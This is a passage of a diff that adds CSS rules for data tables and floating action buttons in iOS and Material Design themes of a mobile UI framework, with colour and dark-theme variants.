font-weight: 600; +} +.ios .data-table-links a.link + a.link, +.ios .data-table-actions a.link + a.link { + margin-left: 15px; +} +.ios .data-table-actions a.link.icon-only { + width: 44px; + height: 44px; +} +.ios .data-table-actions i.icon, +.ios .data-table-actions i.f7-icons { + font-size: 22px; +} +.ios .data-table .card-header > .data-table-header, +.ios .data-table .card-header > .data-table-header-selected { + padding-top: 10px; + padding-bottom: 10px; + height: 100%; + padding-left: 15px; + padding-right: 8px; + margin-left: -15px; + margin-right: -8px; +} +.ios .data-table-header-selected { + background: rgba(0, 122, 255, 0.1); +} +.ios .data-table-title-selected { + color: #007aff; +} +.ios .data-table tbody td:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios.device-desktop .data-table tbody tr:hover { + background: #f7f7f8; +} +.ios .data-table-footer { + height: 44px; + color: #8e8e93; +} +.ios .data-table-rows-select a.link, +.ios .data-table-pagination a.link { + width: 44px; + height: 44px; +} +.ios .data-table-rows-select + .data-table-pagination { + margin-left: 30px; +} +.ios .data-table-rows-select .input { + margin-left: 20px; +} +.ios .data-table-pagination-label { + margin-right: 15px; +} +.ios .data-table-footer:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.ios .input-cell .table-head-label + .input { + margin-top: 4px; +} +.ios .input-cell .input { + height: 24px; +} +.ios .input-cell .input input, +.ios .input-cell .input textarea, +.ios .input-cell .input select { + height: 24px; + color: #000; + font-size: 14px; +} +@media (max-width: 480px) and (orientation: portrait) { + .ios .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: #8e8e93; + font-weight: 600; + } + .ios .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .ios.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .ios.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.ios .theme-dark .data-table tbody td:before, +.data-table.ios .theme-dark tbody td:before { + background-color: #282829; +} +.ios .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.ios .theme-dark.data-table-collapsible tr:before { + background-color: #282829; +} +.ios .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.ios .theme-dark tbody tr.data-table-row-selected { + background-color: #363636; +} +.ios.device-desktop .theme-dark .data-table tbody tr:hover, +.ios.device-desktop .theme-dark.data-table tbody tr:hover { + background: #363636; +} +.ios .color-theme-red .data-table-header-selected, +.ios .data-table-header-selected.color-red { + background: rgba(255, 59, 48, 0.1); +} +.ios .color-theme-red .data-table-title-selected, +.ios .color-red .data-table-title-selected { + color: #ff3b30; +} +.ios .color-theme-green .data-table-header-selected, +.ios .data-table-header-selected.color-green { + background: rgba(76, 217, 100, 0.1); +} +.ios .color-theme-green .data-table-title-selected, +.ios .color-green .data-table-title-selected { + color: #4cd964; +} +.ios .color-theme-blue .data-table-header-selected, +.ios .data-table-header-selected.color-blue { + background: rgba(0, 122, 255, 0.1); +} +.ios .color-theme-blue .data-table-title-selected, +.ios .color-blue .data-table-title-selected { + color: #007aff; +} +.ios .color-theme-pink .data-table-header-selected, +.ios .data-table-header-selected.color-pink { + background: rgba(255, 45, 85, 0.1); +} +.ios .color-theme-pink .data-table-title-selected, +.ios .color-pink .data-table-title-selected { + color: #ff2d55; +} +.ios .color-theme-yellow .data-table-header-selected, +.ios .data-table-header-selected.color-yellow { + background: rgba(255, 204, 0, 0.1); +} +.ios .color-theme-yellow .data-table-title-selected, +.ios .color-yellow .data-table-title-selected { + color: #ffcc00; +} +.ios .color-theme-orange .data-table-header-selected, +.ios .data-table-header-selected.color-orange { + background: rgba(255, 149, 0, 0.1); +} +.ios .color-theme-orange .data-table-title-selected, +.ios .color-orange .data-table-title-selected { + color: #ff9500; +} +.ios .color-theme-gray .data-table-header-selected, +.ios .data-table-header-selected.color-gray { + background: rgba(142, 142, 147, 0.1); +} +.ios .color-theme-gray .data-table-title-selected, +.ios .color-gray .data-table-title-selected { + color: #8e8e93; +} +.ios .color-theme-white .data-table-header-selected, +.ios .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.ios .color-theme-white .data-table-title-selected, +.ios .color-white .data-table-title-selected { + color: #ffffff; +} +.ios .color-theme-black .data-table-header-selected, +.ios .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.ios .color-theme-black .data-table-title-selected, +.ios .color-black .data-table-title-selected { + color: #000000; +} +.md .data-table thead th, +.md .data-table thead td { + font-weight: 500; + height: 56px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .data-table thead th:not(.sortable-cell-active), +.md .data-table thead td:not(.sortable-cell-active) { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table thead i.icon, +.md .data-table thead i.material-icons { + font-size: 16px; + width: 16px; + height: 16px; +} +.md .data-table tbody { + font-size: 13px; +} +.md .data-table tbody tr.data-table-row-selected { + background: #f5f5f5; +} +.md .data-table tbody td { + height: 48px; +} +.md .data-table th, +.md .data-table td { + padding-left: 28px; + padding-right: 28px; +} +.md .data-table th.label-cell, +.md .data-table td.label-cell { + padding-left: 24px; + padding-right: 24px; +} +.md .data-table th:first-child, +.md .data-table td:first-child { + padding-left: 24px; +} +.md .data-table th:last-child, +.md .data-table td:last-child { + padding-right: 24px; +} +.md .data-table th.checkbox-cell, +.md .data-table td.checkbox-cell { + width: 18px; + padding-left: 24px; + padding-right: 12px; +} +.md .data-table th.checkbox-cell + td, +.md .data-table td.checkbox-cell + td, +.md .data-table th.checkbox-cell + th, +.md .data-table td.checkbox-cell + th { + padding-left: 12px; +} +.md .data-table th.actions-cell a.link, +.md .data-table td.actions-cell a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table th.actions-cell a.link + a.link, +.md .data-table td.actions-cell a.link + a.link { + margin-left: 24px; +} +.md .data-table th.actions-cell a.icon-only, +.md .data-table td.actions-cell a.icon-only { + width: 24px; + height: 24px; + line-height: 24px; +} +.md .sortable-cell:not(.numeric-cell):after { + margin-left: 8px; +} +.md .sortable-cell.numeric-cell:before { + margin-right: 8px; +} +.md .data-table.card .card-header, +.md .card .data-table .card-header, +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + padding-left: 24px; + padding-right: 14px; +} +.md .data-table.card .card-footer, +.md .card .data-table .card-footer { + height: 56px; +} +.md .data-table-title { + font-size: 20px; +} +.md .data-table-links a.link + a.link, +.md .data-table-actions a.link + a.link { + margin-left: 24px; +} +.md .data-table-actions a.link { + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-actions a.link.icon-only { + width: 24px; + height: 24px; + overflow: visible; +} +.md .data-table-actions a.link.icon-only.active-state { + background: none; +} +.md .data-table .card-header > .data-table-header, +.md .data-table .card-header > .data-table-header-selected { + padding-left: 24px; + padding-right: 14px; + margin-left: -24px; + margin-right: -14px; + padding-top: 4px; + padding-bottom: 4px; + height: 100%; +} +.md .data-table-header-selected { + background: rgba(33, 150, 243, 0.1); +} +.md .data-table-title-selected { + color: #2196f3; +} +.md .data-table tbody td:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table tbody td:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table tbody td:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-desktop .data-table tbody tr:hover { + background: #f5f5f5; +} +.md .data-table-footer { + height: 56px; + color: rgba(0, 0, 0, 0.54); +} +.md .data-table-rows-select a.link, +.md .data-table-pagination a.link { + width: 48px; + height: 48px; +} +.md .data-table-rows-select a.link:before, +.md .data-table-pagination a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .data-table-rows-select a.link.active-state:before, +.md .data-table-pagination a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .data-table-rows-select + .data-table-pagination { + margin-left: 32px; +} +.md .data-table-rows-select .input { + margin-left: 24px; +} +.md .data-table-pagination-label { + margin-right: 20px; +} +.md .data-table-footer:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .data-table-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .data-table-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .input-cell { + padding-top: 8px; + padding-bottom: 8px; + height: auto; + vertical-align: top; +} +.md .input-cell .table-head-label + .input { + margin-top: 4px; +} +.md .input-cell .input { + height: 24px; +} +.md .input-cell .input input, +.md .input-cell .input textarea, +.md .input-cell .input select { + height: 24px; + color: #212121; + font-size: 14px; +} +.md .input-cell .input .input-clear-button { + -webkit-transform: scale(0.8); + transform: scale(0.8); +} +@media (max-width: 480px) and (orientation: portrait) { + .md .data-table.data-table-collapsible td { + padding-left: 16px; + padding-right: 16px; + } + .md .data-table.data-table-collapsible td:not(.checkbox-cell):before { + color: rgba(0, 0, 0, 0.54); + font-weight: 500; + line-height: 16px; + } + .md .data-table-collapsible tr:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; + } + .md.device-pixel-ratio-2 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); + } + .md.device-pixel-ratio-3 .data-table-collapsible tr:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); + } +} +.md .theme-dark .data-table thead th:not(.sortable-cell-active), +.data-table.md .theme-dark thead th:not(.sortable-cell-active), +.md .theme-dark .data-table thead td:not(.sortable-cell-active), +.data-table.md .theme-dark thead td:not(.sortable-cell-active), +.md .theme-dark .data-table .data-table-actions a.link, +.data-table.md .theme-dark .data-table-actions a.link, +.md .theme-dark .data-table td.actions-cell a.link, +.data-table.md .theme-dark td.actions-cell a.link, +.md .theme-dark .data-table th.actions-cell a.link, +.data-table.md .theme-dark th.actions-cell a.link { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .data-table .data-table-links a.link:before, +.data-table.md .theme-dark .data-table-links a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .theme-dark .data-table .data-table-links a.link.active-state:before, +.data-table.md .theme-dark .data-table-links a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .theme-dark .data-table tbody td:before, +.data-table.md .theme-dark tbody td:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table.data-table-collapsible tr:before, +.data-table.md .theme-dark.data-table-collapsible tr:before { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .data-table tbody tr.data-table-row-selected, +.data-table.md .theme-dark tbody tr.data-table-row-selected { + background-color: rgba(255, 255, 255, 0.05); +} +.md.device-desktop .theme-dark .data-table tbody tr:hover, +.md.device-desktop .theme-dark.data-table tbody tr:hover { + background-color: rgba(255, 255, 255, 0.05); +} +.md .color-theme-red .data-table-header-selected, +.md .data-table-header-selected.color-red { + background: rgba(244, 67, 54, 0.1); +} +.md .color-theme-red .data-table-title-selected, +.md .color-red .data-table-title-selected { + color: #f44336; +} +.md .color-theme-green .data-table-header-selected, +.md .data-table-header-selected.color-green { + background: rgba(76, 175, 80, 0.1); +} +.md .color-theme-green .data-table-title-selected, +.md .color-green .data-table-title-selected { + color: #4caf50; +} +.md .color-theme-blue .data-table-header-selected, +.md .data-table-header-selected.color-blue { + background: rgba(33, 150, 243, 0.1); +} +.md .color-theme-blue .data-table-title-selected, +.md .color-blue .data-table-title-selected { + color: #2196f3; +} +.md .color-theme-pink .data-table-header-selected, +.md .data-table-header-selected.color-pink { + background: rgba(233, 30, 99, 0.1); +} +.md .color-theme-pink .data-table-title-selected, +.md .color-pink .data-table-title-selected { + color: #e91e63; +} +.md .color-theme-yellow .data-table-header-selected, +.md .data-table-header-selected.color-yellow { + background: rgba(255, 235, 59, 0.1); +} +.md .color-theme-yellow .data-table-title-selected, +.md .color-yellow .data-table-title-selected { + color: #ffeb3b; +} +.md .color-theme-orange .data-table-header-selected, +.md .data-table-header-selected.color-orange { + background: rgba(255, 152, 0, 0.1); +} +.md .color-theme-orange .data-table-title-selected, +.md .color-orange .data-table-title-selected { + color: #ff9800; +} +.md .color-theme-gray .data-table-header-selected, +.md .data-table-header-selected.color-gray { + background: rgba(158, 158, 158, 0.1); +} +.md .color-theme-gray .data-table-title-selected, +.md .color-gray .data-table-title-selected { + color: #9e9e9e; +} +.md .color-theme-white .data-table-header-selected, +.md .data-table-header-selected.color-white { + background: rgba(255, 255, 255, 0.1); +} +.md .color-theme-white .data-table-title-selected, +.md .color-white .data-table-title-selected { + color: #ffffff; +} +.md .color-theme-black .data-table-header-selected, +.md .data-table-header-selected.color-black { + background: rgba(0, 0, 0, 0.1); +} +.md .color-theme-black .data-table-title-selected, +.md .color-black .data-table-title-selected { + color: #000000; +} +/* === FAB === */ +.fab { + position: absolute; + z-index: 1500; +} +.fab > a, +.fab-buttons a { + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + overflow: hidden; + z-index: 1; +} +.fab > a i { + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + -webkit-transition: 300ms; + transition: 300ms; +} +.fab > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(-90deg) scale(0.5); + opacity: 0; +} +.fab[class*="fab-center"] { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); +} +.fab[class*="left-center"], +.fab[class*="right-center"] { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); +} +.fab[class*="center-center"] { + top: 50%; + left: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%); +} +.fab div.fab-buttons a { + width: 40px; + height: 40px; +} +.fab-buttons { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + visibility: hidden; + pointer-events: none; + position: absolute; +} +.fab-buttons a { + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + transform: translate3d(-50%, -50%, 0) rotate(90deg) scale(0.5); + opacity: 0; +} +.fab-opened:not(.fab-morph) > a i + i { + -webkit-transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + transform: translate3d(-50%, -50%, 0) rotate(0deg) scale(1); + opacity: 1; +} +.fab-opened .fab-buttons { + visibility: visible; + pointer-events: auto; +} +.fab-opened .fab-buttons a { + opacity: 1; + -webkit-transform: translate3d(0, 0px, 0) scale(1) !important; + transform: translate3d(0, 0px, 0) scale(1) !important; +} +.fab-opened .fab-buttons a:nth-child(2) { + -webkit-transition-delay: 50ms; + transition-delay: 50ms; +} +.fab-opened .fab-buttons a:nth-child(3) { + -webkit-transition-delay: 100ms; + transition-delay: 100ms; +} +.fab-opened .fab-buttons a:nth-child(4) { + -webkit-transition-delay: 150ms; + transition-delay: 150ms; +} +.fab-opened .fab-buttons a:nth-child(5) { + -webkit-transition-delay: 200ms; + transition-delay: 200ms; +} +.fab-opened .fab-buttons a:nth-child(6) { + -webkit-transition-delay: 250ms; + transition-delay: 250ms; +} +.fab-buttons-top, +.fab-buttons-bottom { + left: 50%; + width: 40px; + margin-left: -20px; +} +.fab-buttons-top { + bottom: 100%; + margin-bottom: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: reverse; + -webkit-flex-direction: column-reverse; + -ms-flex-direction: column-reverse; + flex-direction: column-reverse; +} +.fab-buttons-top a { + -webkit-transform: translate3d(0, 8px, 0) scale(0.3); + transform: translate3d(0, 8px, 0) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-top a + a { + margin-bottom: 16px; +} +.fab-buttons-bottom { + top: 100%; + margin-top: 16px; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.fab-buttons-bottom a { + -webkit-transform: translate3d(0, -8px, 0) scale(0.3); + transform: translate3d(0, -8px, 0) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-bottom a + a { + margin-top: 16px; +} +.fab-buttons-left, +.fab-buttons-right { + top: 50%; + height: 40px; + margin-top: -20px; +} +.fab-buttons-left { + right: 100%; + margin-right: 16px; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.fab-buttons-left a { + -webkit-transform: translate3d(8px, 0px, 0) scale(0.3); + transform: translate3d(8px, 0px, 0) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-buttons-left a + a { + margin-right: 16px; +} +.fab-buttons-right { + left: 100%; + margin-left: 16px; +} +.fab-buttons-right a { + -webkit-transform: translate3d(-8px, 0, 0) scale(0.3); + transform: translate3d(-8px, 0, 0) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-right a + a { + margin-left: 16px; +} +.fab-buttons-center { + left: 0%; + top: 0%; + width: 100%; + height: 100%; +} +.fab-buttons-center a { + position: absolute; +} +.fab-buttons-center a:nth-child(1) { + left: 50%; + margin-left: -20px; + bottom: 100%; + margin-bottom: 16px; + -webkit-transform: translateY(-8px) scale(0.3); + transform: translateY(-8px) scale(0.3); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.fab-buttons-center a:nth-child(2) { + left: 100%; + margin-top: -20px; + top: 50%; + margin-left: 16px; + -webkit-transform: translateX(-8px) scale(0.3); + transform: translateX(-8px) scale(0.3); + -webkit-transform-origin: left center; + transform-origin: left center; +} +.fab-buttons-center a:nth-child(3) { + left: 50%; + margin-left: -20px; + top: 100%; + margin-top: 16px; + -webkit-transform: translateY(8px) scale(0.3); + transform: translateY(8px) scale(0.3); + -webkit-transform-origin: center top; + transform-origin: center top; +} +.fab-buttons-center a:nth-child(4) { + right: 100%; + margin-top: -20px; + top: 50%; + margin-right: 16px; + -webkit-transform: translateX(8px) scale(0.3); + transform: translateX(8px) scale(0.3); + -webkit-transform-origin: right center; + transform-origin: right center; +} +.fab-opened.fab-morph > a i { + opacity: 0; +} +.fab-morph, +.fab-morph > a, +.fab-morph-target { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.fab-morph-target:not(.fab-morph-target-visible) { + display: none; +} +.fab-extended { + width: auto; +} +.fab-extended > a { + width: 100% !important; +} +.fab-text { + padding-left: 20px; + padding-right: 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; + text-transform: uppercase; +} +.fab-label-button { + overflow: visible !important; +} +.fab-label { + position: absolute; + top: 50%; + padding: 4px 12px; + border-radius: 4px; + background: #fff; + color: #333; + white-space: nowrap; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + pointer-events: none; +} +.fab[class*="fab-right-"] .fab-label { + right: 100%; + margin-right: 8px; +} +.fab[class*="fab-left-"] .fab-label { + left: 100%; + margin-left: 8px; +} +.ios .fab > a, +.ios .fab-buttons a { + background: #007aff; + width: 50px; + height: 50px; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + border-radius: 25px; + color: #fff; +} +.ios .fab > a.active-state, +.ios .fab-buttons a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background: #0066d6; +} +.ios .fab > a i.icon, +.ios .fab-buttons a i.icon { + font-size: 21px; +} +.ios .fab[class*="fab-left"] { + left: 15px; +} +.ios .fab[class*="fab-right"] { + right: 15px; +} +.ios .fab[class*="-top"] { + top: 15px; +} +.ios .fab[class*="-bottom"] { + bottom: 15px; +} +.ios .navbar ~ * .fab[class*="-top"], +.ios .navbar ~ .fab[class*="-top"] { + margin-top: 44px; +} +.ios .toolbar ~ * .fab[class*="-bottom"], +.ios .toolbar ~ .fab[class*="-bottom"] { + margin-bottom: 44px; +} +.ios .tabbar-labels ~ * .fab[class*="-bottom"], +.ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 50px; +} +@media (min-width: 768px) { + .ios .tabbar-labels ~ * .fab[class*="-bottom"], + .ios .tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 56px; + } +} +.ios .fab-morph { + border-radius: 25px; + background: #007aff; + -webkit-box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); + box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.4); +} +.ios .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.ios .fab-extended { + min-width: 50px; +} +.ios .fab-extended > a { + width: 100%; + height: 50px; +} +.ios .fab-extended > a i { + left: 25px; +} +.ios .fab-extended i ~ .fab-text { + padding-left: 50px; +} +.ios .fab-label { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.4); +} +.ios .color-theme-red .fab > a, +.ios .color-theme-red .fab-buttons a, +.ios .color-theme-red.fab > a, +.ios .color-theme-red.fab-buttons a { + background: #ff3b30; +} +.ios .color-theme-red .fab > a.active-state, +.ios .color-theme-red .fab-buttons a.active-state, +.ios .color-theme-red.fab > a.active-state, +.ios .color-theme-red.fab-buttons a.active-state { + background: #ff1407; +} +.ios .color-theme-red .fab-morph, +.ios .color-theme-red.fab-morph { + background: #ff3b30; +} +.ios .color-theme-green .fab > a, +.ios .color-theme-green .fab-buttons a, +.ios .color-theme-green.fab > a, +.ios .color-theme-green.fab-buttons a { + background: #4cd964; +} +.ios .color-theme-green .fab > a.active-state, +.ios .color-theme-green .fab-buttons a.active-state, +.ios .color-theme-green.fab > a.active-state, +.ios .color-theme-green.fab-buttons a.active-state { + background: #2cd048; +} +.ios .color-theme-green .fab-morph, +.ios .color-theme-green.fab-morph { + background: #4cd964; +} +.ios .color-theme-blue .fab > a, +.ios .color-theme-blue .fab-buttons a, +.ios .color-theme-blue.fab > a, +.ios .color-theme-blue.fab-buttons a { + background: #007aff; +} +.ios .color-theme-blue .fab > a.active-state, +.ios .color-theme-blue .fab-buttons a.active-state, +.ios .color-theme-blue.fab > a.active-state, +.ios .color-theme-blue.fab-buttons a.active-state { + background: #0066d6; +} +.ios .color-theme-blue .fab-morph, +.ios .color-theme-blue.fab-morph { + background: #007aff; +} +.ios .color-theme-pink .fab > a, +.ios .color-theme-pink .fab-buttons a, +.ios .color-theme-pink.fab > a, +.ios .color-theme-pink.fab-buttons a { + background: #ff2d55; +} +.ios .color-theme-pink .fab > a.active-state, +.ios .color-theme-pink .fab-buttons a.active-state, +.ios .color-theme-pink.fab > a.active-state, +.ios .color-theme-pink.fab-buttons a.active-state { + background: #ff0434; +} +.ios .color-theme-pink .fab-morph, +.ios .color-theme-pink.fab-morph { + background: #ff2d55; +} +.ios .color-theme-yellow .fab > a, +.ios .color-theme-yellow .fab-buttons a, +.ios .color-theme-yellow.fab > a, +.ios .color-theme-yellow.fab-buttons a { + background: #ffcc00; +} +.ios .color-theme-yellow .fab > a.active-state, +.ios .color-theme-yellow .fab-buttons a.active-state, +.ios .color-theme-yellow.fab > a.active-state, +.ios .color-theme-yellow.fab-buttons a.active-state { + background: #d6ab00; +} +.ios .color-theme-yellow .fab-morph, +.ios .color-theme-yellow.fab-morph { + background: #ffcc00; +} +.ios .color-theme-orange .fab > a, +.ios .color-theme-orange .fab-buttons a, +.ios .color-theme-orange.fab > a, +.ios .color-theme-orange.fab-buttons a { + background: #ff9500; +} +.ios .color-theme-orange .fab > a.active-state, +.ios .color-theme-orange .fab-buttons a.active-state, +.ios .color-theme-orange.fab > a.active-state, +.ios .color-theme-orange.fab-buttons a.active-state { + background: #d67d00; +} +.ios .color-theme-orange .fab-morph, +.ios .color-theme-orange.fab-morph { + background: #ff9500; +} +.ios .color-theme-gray .fab > a, +.ios .color-theme-gray .fab-buttons a, +.ios .color-theme-gray.fab > a, +.ios .color-theme-gray.fab-buttons a { + background: #8e8e93; +} +.ios .color-theme-gray .fab > a.active-state, +.ios .color-theme-gray .fab-buttons a.active-state, +.ios .color-theme-gray.fab > a.active-state, +.ios .color-theme-gray.fab-buttons a.active-state { + background: #79797f; +} +.ios .color-theme-gray .fab-morph, +.ios .color-theme-gray.fab-morph { + background: #8e8e93; +} +.ios .color-theme-white .fab > a, +.ios .color-theme-white .fab-buttons a, +.ios .color-theme-white.fab > a, +.ios .color-theme-white.fab-buttons a { + background: #ffffff; +} +.ios .color-theme-white .fab > a.active-state, +.ios .color-theme-white .fab-buttons a.active-state, +.ios .color-theme-white.fab > a.active-state, +.ios .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.ios .color-theme-white .fab-morph, +.ios .color-theme-white.fab-morph { + background: #ffffff; +} +.ios .color-theme-black .fab > a, +.ios .color-theme-black .fab-buttons a, +.ios .color-theme-black.fab > a, +.ios .color-theme-black.fab-buttons a { + background: #000000; +} +.ios .color-theme-black .fab > a.active-state, +.ios .color-theme-black .fab-buttons a.active-state, +.ios .color-theme-black.fab > a.active-state, +.ios .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.ios .color-theme-black .fab-morph, +.ios .color-theme-black.fab-morph { + background: #000000; +} +.ios .fab.color-red > a, +.ios .fab.color-red .fab-buttons > a, +.ios .fab-buttons.color-red a, +.ios .fab > a.color-red, +.ios .fab .fab-buttons > a.color-red { + background: #ff3b30; +} +.ios .fab.color-red > a.active-state, +.ios .fab.color-red .fab-buttons > a.active-state, +.ios .fab-buttons.color-red a.active-state, +.ios .fab > a.color-red.active-state, +.ios .fab .fab-buttons > a.color-red.active-state { + background: #ff1407; +} +.ios .fab-morph.color-red { + background: #ff3b30; +} +.ios .fab.color-green > a, +.ios .fab.color-green .fab-buttons > a, +.ios .fab-buttons.color-green a, +.ios .fab > a.color-green, +.ios .fab .fab-buttons > a.color-green { + background: #4cd964; +} +.ios .fab.color-green > a.active-state, +.ios .fab.color-green .fab-buttons > a.active-state, +.ios .fab-buttons.color-green a.active-state, +.ios .fab > a.color-green.active-state, +.ios .fab .fab-buttons > a.color-green.active-state { + background: #2cd048; +} +.ios .fab-morph.color-green { + background: #4cd964; +} +.ios .fab.color-blue > a, +.ios .fab.color-blue .fab-buttons > a, +.ios .fab-buttons.color-blue a, +.ios .fab > a.color-blue, +.ios .fab .fab-buttons > a.color-blue { + background: #007aff; +} +.ios .fab.color-blue > a.active-state, +.ios .fab.color-blue .fab-buttons > a.active-state, +.ios .fab-buttons.color-blue a.active-state, +.ios .fab > a.color-blue.active-state, +.ios .fab .fab-buttons > a.color-blue.active-state { + background: #0066d6; +} +.ios .fab-morph.color-blue { + background: #007aff; +} +.ios .fab.color-pink > a, +.ios .fab.color-pink .fab-buttons > a, +.ios .fab-buttons.color-pink a, +.ios .fab > 